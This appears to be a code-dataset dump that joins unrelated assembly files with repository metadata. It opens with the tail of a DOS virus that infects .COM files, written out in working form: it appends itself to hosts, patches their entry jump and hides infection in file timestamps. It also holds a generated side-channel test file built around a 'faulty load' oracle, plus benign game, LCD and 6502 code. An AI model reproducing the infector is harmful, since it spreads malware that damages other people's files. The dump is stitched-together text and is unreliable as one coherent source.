CMP AL,CL ; Compare to actual time
JNE BP0323 ; Branch if different
JMP BP02EF ; Find next file
; Uninfected COM file found
BP0323: PUSH CX
PUSH DX
MOV AX,CS:DW009A ; Get low-order length
MOV CS:DW03D3[SI+106H],AX ; Save low-order length
CALL BP03AA ; Remove read-only attribute
MOV AX,3D02H ; Open handle (R/W) function
MOV DX,009EH ; File name
INT 21H ; DOS service
MOV BX,AX ; Move handle
MOV AH,3FH ; Read handle function
LEA DX,DB03D5[SI+106H] ; Store area for start of host
MOV CX,000AH ; Read first ten bytes
INT 21H ; DOS service
MOV AX,4202H ; Move file pointer (EOF) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV CX,OFFSET ENDADR ; Length of virus
NOP
LEA DX,[SI+106H] ; Address start of virus
MOV AH,40H ; Write handle function
INT 21H ; DOS service
MOV AX,4200H ; Move file pointer (start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV AX,CS:DW009A ; Get low-order length
SUB AX,3 ; Subtract length of jump
MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump
MOV AH,40H ; Write handle function
MOV CX,3 ; Length of jump
LEA DX,DB03DF[SI+106H] ; Address jump instruction
INT 21H ; DOS service
POP DX
POP CX
AND CL,0E0H ; Isolate low part of minutes
MOV AL,CL ; Copy low part of minutes
SHR CL,1 ; \
SHR CL,1 ; \
SHR CL,1 ; ) Move mins to secs position
SHR CL,1 ; /
SHR CL,1 ; /
OR CL,AL ; Combine with minutes
MOV AX,5701H ; Set file date & time function
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
CALL BP03C1 ; Replace attributes
MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on
MOV AH,3BH ; Change current directory function
LEA DX,DB0417[SI+106H] ; Current directory path name
INT 21H ; DOS service
RET
; Remove read-only attribute
BP03AA: MOV DX,009EH ; Address file name
MOV AX,4300H ; Get file attributes function
INT 21H ; DOS service
MOV CS:DW03F3[SI+106H],CX ; Save attributes
AND CX,00FEH ; Set off read-only
MOV AX,4301H ; Set file attributes function
INT 21H ; DOS service
RET
; Replace attributes
BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes
MOV DX,009EH ; Address file name
MOV AX,4301H ; Set file attributes function
INT 21H ; DOS service
RET
DW03CF DW 1142H ; Original Int 24H segment
DW03D1 DW 175DH ; Original Int 24H offset
DW03D3 DW 0039H ; Low-order length of host
DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host
DB03DF DB 0E9H ; \ Jump for host program
DW03E0 DW 0 ; /
DB03E2 DB 0BH
DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B)
DW03E8 DW 0A0CH ; Start month and day
DB03EA DB 0 ; Start month
DB03EB DB 0 ; Infection completed switch
DB03EC DB 3 ; Disk drive pointer
DB03ED DB '*.COM', 0
DW03F3 DW 20H ; File attributes
DB03F5 DB 0 ; Original current disk
DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory
DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory
DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname
DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H
DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H
DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H
ENDADR EQU $
CODE ENDS
END START
| 48.418216 | 78 | 0.432915 |
6bdf06ff5cf27220a531c749bf072f353f1c9ae7 | 8,712 | asm | Assembly | Transynther/x86/_processed/NONE/_st_/i3-7100_9_0x84_notsx.log_21829_102.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_st_/i3-7100_9_0x84_notsx.log_21829_102.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_st_/i3-7100_9_0x84_notsx.log_21829_102.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x19b14, %r11
nop
xor $60656, %rax
mov $0x6162636465666768, %r8
movq %r8, %xmm1
movups %xmm1, (%r11)
nop
nop
and %r15, %r15
lea addresses_WC_ht+0x11c4, %rsi
lea addresses_WC_ht+0x40c4, %rdi
sub %r12, %r12
mov $15, %rcx
rep movsl
nop
xor $24001, %r12
lea addresses_A_ht+0x42a4, %rdi
nop
cmp $25478, %rax
movw $0x6162, (%rdi)
nop
dec %r15
lea addresses_WC_ht+0xa284, %rsi
lea addresses_UC_ht+0x482a, %rdi
nop
nop
nop
nop
and $41008, %r12
mov $52, %rcx
rep movsw
nop
nop
nop
nop
sub $50113, %r12
lea addresses_normal_ht+0x125c4, %rcx
nop
nop
nop
nop
nop
and %r15, %r15
mov $0x6162636465666768, %r8
movq %r8, %xmm0
movups %xmm0, (%rcx)
nop
nop
nop
nop
cmp $60921, %r15
lea addresses_normal_ht+0x1d5c4, %r12
nop
nop
nop
nop
add $23623, %r15
movl $0x61626364, (%r12)
nop
nop
sub %rdi, %rdi
lea addresses_WT_ht+0x7c20, %rax
nop
nop
nop
nop
nop
xor $64179, %rsi
mov (%rax), %r15w
dec %r8
lea addresses_normal_ht+0xc9c4, %rsi
nop
nop
nop
nop
nop
cmp $879, %rax
mov (%rsi), %r8d
nop
nop
nop
nop
nop
dec %rsi
lea addresses_A_ht+0x1ad4, %rsi
lea addresses_WT_ht+0x16a74, %rdi
nop
nop
nop
add $11505, %r8
mov $1, %rcx
rep movsq
cmp $3273, %r8
lea addresses_WC_ht+0x1fc4, %r11
nop
nop
nop
nop
nop
cmp $16829, %rsi
mov (%r11), %cx
nop
nop
nop
nop
inc %r11
lea addresses_A_ht+0xea84, %rsi
lea addresses_D_ht+0x50c4, %rdi
cmp $8665, %r11
mov $114, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $30545, %r11
lea addresses_D_ht+0xa3f0, %rsi
lea addresses_WC_ht+0xdb4c, %rdi
nop
nop
sub %r12, %r12
mov $52, %rcx
rep movsl
nop
nop
nop
nop
sub %r12, %r12
lea addresses_UC_ht+0x1cf44, %rsi
lea addresses_UC_ht+0x190c0, %rdi
nop
nop
sub %r12, %r12
mov $51, %rcx
rep movsb
nop
nop
nop
nop
nop
lfence
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_UC+0x1064, %rsi
lea addresses_D+0x13f04, %rdi
clflush (%rdi)
nop
nop
xor $16784, %rbx
mov $74, %rcx
rep movsw
nop
nop
nop
dec %rbp
// Store
lea addresses_normal+0x12dc4, %rbx
nop
nop
xor %r13, %r13
movb $0x51, (%rbx)
nop
nop
nop
nop
nop
and $41557, %r9
// Store
lea addresses_WC+0x1cdc4, %r13
nop
nop
nop
nop
add $59958, %rdi
mov $0x5152535455565758, %rbp
movq %rbp, %xmm0
movups %xmm0, (%r13)
nop
nop
sub %rdi, %rdi
// REPMOV
lea addresses_normal+0x4cc4, %rsi
lea addresses_UC+0x1dc4, %rdi
nop
nop
nop
sub $29160, %r15
mov $127, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %rcx
// Store
lea addresses_D+0x2710, %rcx
nop
nop
nop
xor %r9, %r9
movb $0x51, (%rcx)
nop
nop
nop
sub %rcx, %rcx
// Faulty Load
lea addresses_UC+0x1dc4, %rsi
nop
nop
nop
dec %rdi
mov (%rsi), %r15
lea oracles, %rbx
and $0xff, %r15
shlq $12, %r15
mov (%rbx,%r15,1), %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC', 'congruent': 0, 'same': True}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 29.835616 | 2,999 | 0.657599 |
868b94d3bc81d831584c0772240c495c1d36080a | 490 | asm | Assembly | idt/vga.asm | ilya101010/asm_studies | 8014446d021b0f3d50f091fd88cbf3ea726fc160 | [
"WTFPL"
] | 1 | 2019-09-17T01:06:02.000Z | 2019-09-17T01:06:02.000Z | idt/vga.asm | ilya101010/asm_studies | 8014446d021b0f3d50f091fd88cbf3ea726fc160 | [
"WTFPL"
] | null | null | null | idt/vga.asm | ilya101010/asm_studies | 8014446d021b0f3d50f091fd88cbf3ea726fc160 | [
"WTFPL"
] | null | null | null | format ELF
use32
public ca
ca:
A: db 00000000b
db 00000000b
db 00111000b
db 01000100b
db 01111100b
db 01000100b
db 01000100b
db 00000000b
B: db 00000000b
db 00000000b
db 01111000b
db 01000100b
db 01111000b
db 01000100b
db 01111000b
db 00000000b
C: db 00000000b
db 00000000b
db 00111100b
db 01000000b
db 01000000b
db 01000000b
db 00111100b
db 00000000b
D: db 00000000b
db 00000000b
db 01111000b
db 01000100b
db 01000100b
db 01000100b
db 01111000b
db 00000000b | 12.25 | 15 | 0.77551 |
dc1fe215ca39a188b25c9c7a2db909d652b736e6 | 284 | asm | Assembly | engine/link/place_waiting_text.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 28 | 2019-11-08T07:19:00.000Z | 2021-12-20T10:17:54.000Z | engine/link/place_waiting_text.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 13 | 2020-01-11T17:00:40.000Z | 2021-09-14T01:27:38.000Z | engine/link/place_waiting_text.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 22 | 2020-05-28T17:31:38.000Z | 2022-03-07T20:49:35.000Z | PlaceWaitingText::
hlcoord 3, 10
ld b, 1
ld c, 11
ld a, [wBattleMode]
and a
jr z, .notinbattle
call Textbox
jr .proceed
.notinbattle
predef LinkTextboxAtHL
.proceed
hlcoord 4, 11
ld de, .Waiting
call PlaceString
ld c, 50
jp DelayFrames
.Waiting:
db "Waiting...!@"
| 11.36 | 23 | 0.690141 |
2b79dfd85925d69e813f8a816f9eda5963a02a99 | 49 | asm | Assembly | libsrc/nc100/padgetticker.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/nc100/padgetticker.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/nc100/padgetticker.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | PUBLIC padgetticker
.padgetticker
jp 0xb872
| 9.8 | 21 | 0.77551 |
ee36ea447ca5f63480bed193781297d054626a5d | 2,488 | asm | Assembly | Data/ships/Thargon.asm | TinfoilAsteroid/EliteNext | 417511cefd3d5c7dd7a46b0354eec801ea2c9ca2 | [
"Unlicense"
] | 9 | 2021-09-29T22:08:15.000Z | 2022-03-23T05:35:43.000Z | Data/ships/Thargon.asm | TinfoilAsteroid/EliteNext | 417511cefd3d5c7dd7a46b0354eec801ea2c9ca2 | [
"Unlicense"
] | 1 | 2022-01-21T12:35:42.000Z | 2022-01-21T17:47:24.000Z | Data/ships/Thargon.asm | TinfoilAsteroid/EliteNext | 417511cefd3d5c7dd7a46b0354eec801ea2c9ca2 | [
"Unlicense"
] | 1 | 2022-01-15T10:13:49.000Z | 2022-01-15T10:13:49.000Z | Thargon: DB $F0
DW $0640
DW ThargonEdges
DB ThargonEdgesSize
DB $00, $12
DB ThargonVertSize /6
DB ThargonVertSize
DB ThargonEdgesCnt
DB $00, $32
DB ThargonNormalsSize
DB $14, $14, $1E
DW ThargonNormals
DB $02, $10
DW ThargonVertices
DB 0,0 ; Type and Tactics
DB ShipCanAnger
ThargonVertices: DB $09, $00, $28, $9F, $01, $55
DB $09, $26, $0C, $DF, $01, $22
DB $09, $18, $20, $FF, $02, $33
DB $09, $18, $20, $BF, $03, $44
DB $09, $26, $0C, $9F, $04, $55
DB $09, $00, $08, $3F, $15, $66
DB $09, $0A, $0F, $7F, $12, $66
DB $09, $06, $1A, $7F, $23, $66
DB $09, $06, $1A, $3F, $34, $66
DB $09, $0A, $0F, $3F, $45, $66
ThargonVertSize: equ $ - ThargonVertices
ThargonEdges: DB $1F, $10, $00, $04
DB $1F, $20, $04, $08
DB $1F, $30, $08, $0C
DB $1F, $40, $0C, $10
DB $1F, $50, $00, $10
DB $1F, $51, $00, $14
DB $1F, $21, $04, $18
DB $1F, $32, $08, $1C
DB $1F, $43, $0C, $20
DB $1F, $54, $10, $24
DB $1F, $61, $14, $18
DB $1F, $62, $18, $1C
DB $1F, $63, $1C, $20
DB $1F, $64, $20, $24
DB $1F, $65, $24, $14
ThargonEdgesSize: equ $ - ThargonEdges
ThargonEdgesCnt: equ ThargonEdgesSize/4
ThargonNormals: DB $9F, $24, $00, $00
DB $5F, $14, $05, $07
DB $7F, $2E, $2A, $0E
DB $3F, $24, $00, $68
DB $3F, $2E, $2A, $0E
DB $1F, $14, $05, $07
DB $1F, $24, $00, $00
ThargonNormalsSize: equ $ - ThargonNormals
ThargonLen: equ $ - Thargon
| 37.69697 | 70 | 0.30828 |
cbacc11bcdd1befea806102b62f52fb40e2daf84 | 2,624 | asm | Assembly | samples/vasm_oldstyle/viaChipFeatures/via_chip.asm | MaverickAlex/x6502 | fdf25fd5ae6d2710ddce7c7a9bcbb63246f35460 | [
"BSD-4-Clause"
] | null | null | null | samples/vasm_oldstyle/viaChipFeatures/via_chip.asm | MaverickAlex/x6502 | fdf25fd5ae6d2710ddce7c7a9bcbb63246f35460 | [
"BSD-4-Clause"
] | 4 | 2021-12-23T00:53:24.000Z | 2021-12-28T19:37:29.000Z | samples/vasm_oldstyle/viaChipFeatures/via_chip.asm | MaverickAlex/x6502 | fdf25fd5ae6d2710ddce7c7a9bcbb63246f35460 | [
"BSD-4-Clause"
] | null | null | null | LATCH_COUNT = $00 ;4 bytes
SHIFT_COUNT = $04 ;4 bytes
TICKS = $08 ;4 bytes
TOGGLE_TIME = $12 ;1 byte
.incdir "../common"
.org $8000
.include "startup.asm"
jsr init_lcd
jsr btd_reset
;reset memory locations to zero
lda #0
sta TICKS
sta TICKS + 1
sta TICKS + 2
sta TICKS + 3
sta TOGGLE_TIME
sta LATCH_COUNT
sta LATCH_COUNT + 1
sta LATCH_COUNT + 2
sta LATCH_COUNT + 3
sta SHIFT_COUNT
sta SHIFT_COUNT + 1
sta SHIFT_COUNT + 2
sta SHIFT_COUNT + 3
sta AUXCONTROL
lda #TIMER1_CONTINUOUS
sta AUXCONTROL
lda #(IRQ_SET | IRQ_TIMER1); | IRQ_SHIFT | IRQ_CA1) ; enable the shift IRQ and ca1 pin interrupt
sta IRQ_ENABLE_REG
cli
lda #$0e
sta T1CL
lda #$27
sta T1CH
jsr print_status
loop:
jsr update_status
jmp loop
update_status:
sec
lda TICKS
sbc TOGGLE_TIME
cmp #100
bcc exit_update_status
jsr print_status
lda TICKS
sta TOGGLE_TIME
exit_update_status:
rts
print_status
lda LATCH_COUNT
sta BTD_VALUE
lda LATCH_COUNT + 1
sta BTD_VALUE + 1
lda LATCH_COUNT + 2
sta BTD_VALUE + 2
lda LATCH_COUNT + 3
sta BTD_VALUE + 3
jsr btd_start
ldx #0
getLatchNumber:
jsr bts_getNextChar
cmp #$ff
beq finishLatchNumber
sta LCD_LINE ,x
inx
jmp getLatchNumber
finishLatchNumber:
lda SHIFT_COUNT
sta BTD_VALUE
lda SHIFT_COUNT + 1
sta BTD_VALUE + 1
lda SHIFT_COUNT + 2
sta BTD_VALUE + 2
lda SHIFT_COUNT + 3
sta BTD_VALUE + 3
jsr btd_start
ldx #16
getShiftNumber:
jsr bts_getNextChar
cmp #$ff
beq finishShiftNumber
sta LCD_LINE , x
inx
jmp getShiftNumber
finishShiftNumber:
jsr lcd_updateScreen
rts
irq:
pha
phy
phx
lda #(IRQ_CA1)
bit IRQ_FLAG ;; compare this with irq_flag register, will be zero if from shift register
bvs timer1_irq
bne ca1_irq
beq shift_irq
ca1_irq:
inc LATCH_COUNT
bne ca1_irq_work
inc LATCH_COUNT + 1
bne ca1_irq_work
inc LATCH_COUNT + 2
bne ca1_irq_work
inc LATCH_COUNT + 3
bne ca1_irq_work
inc LATCH_COUNT + 4
ca1_irq_work:
lda PORTA
jmp exit_irq
shift_irq:
inc SHIFT_COUNT
bne shift_irq_work
inc SHIFT_COUNT + 1
bne shift_irq_work
inc SHIFT_COUNT + 2
bne shift_irq_work
inc SHIFT_COUNT + 3
bne shift_irq_work
inc SHIFT_COUNT + 4
shift_irq_work
lda #%10101010
sta SHIFTREG
jmp exit_irq
timer1_irq:
lda T1CL
inc TICKS
bne exit_irq
inc TICKS + 1
bne exit_irq
inc TICKS + 2
bne exit_irq
inc TICKS + 3
exit_irq:
pla
ply
plx
rti
.include "lcd.asm"
.include "32bit_binary_to_decimal.asm"
.org $fffc
.word program_start
.word irq
| 16.4 | 100 | 0.697409 |
a92b6d4104df46b4d67bd35d080e281c2807c766 | 3,334 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2.log_95_740.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2.log_95_740.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-8650U_0xd2.log_95_740.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xb898, %r8
nop
nop
nop
nop
sub %r11, %r11
mov $0x6162636465666768, %rbp
movq %rbp, %xmm2
and $0xffffffffffffffc0, %r8
vmovaps %ymm2, (%r8)
inc %r8
lea addresses_normal_ht+0x11558, %rsi
lea addresses_UC_ht+0x12898, %rdi
nop
nop
nop
nop
dec %rdx
mov $15, %rcx
rep movsl
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_WC_ht+0xb918, %rdi
nop
nop
nop
nop
cmp %r8, %r8
mov $0x6162636465666768, %r11
movq %r11, %xmm5
movups %xmm5, (%rdi)
cmp $34837, %rcx
lea addresses_normal_ht+0x1f18, %rsi
lea addresses_A_ht+0x14790, %rdi
xor $6303, %r14
mov $76, %rcx
rep movsw
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0x11d38, %rsi
lea addresses_WT_ht+0xc71e, %rdi
clflush (%rdi)
nop
nop
cmp $53327, %rdx
mov $86, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0x12598, %r8
nop
nop
nop
add %r14, %r14
movw $0x6162, (%r8)
nop
nop
sub $38337, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r15
push %r8
push %rbx
push %rdx
// Store
lea addresses_A+0x5098, %r10
inc %r8
movw $0x5152, (%r10)
nop
nop
and $4282, %r8
// Store
lea addresses_UC+0x25d8, %r12
nop
nop
nop
and %r8, %r8
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
vmovaps %ymm1, (%r12)
nop
nop
nop
nop
cmp $63106, %r10
// Faulty Load
lea addresses_A+0x5098, %rdx
nop
and $7024, %r15
mov (%rdx), %rbx
lea oracles, %r12
and $0xff, %rbx
shlq $12, %rbx
mov (%r12,%rbx,1), %rbx
pop %rdx
pop %rbx
pop %r8
pop %r15
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'52': 95}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
| 21.509677 | 284 | 0.655069 |
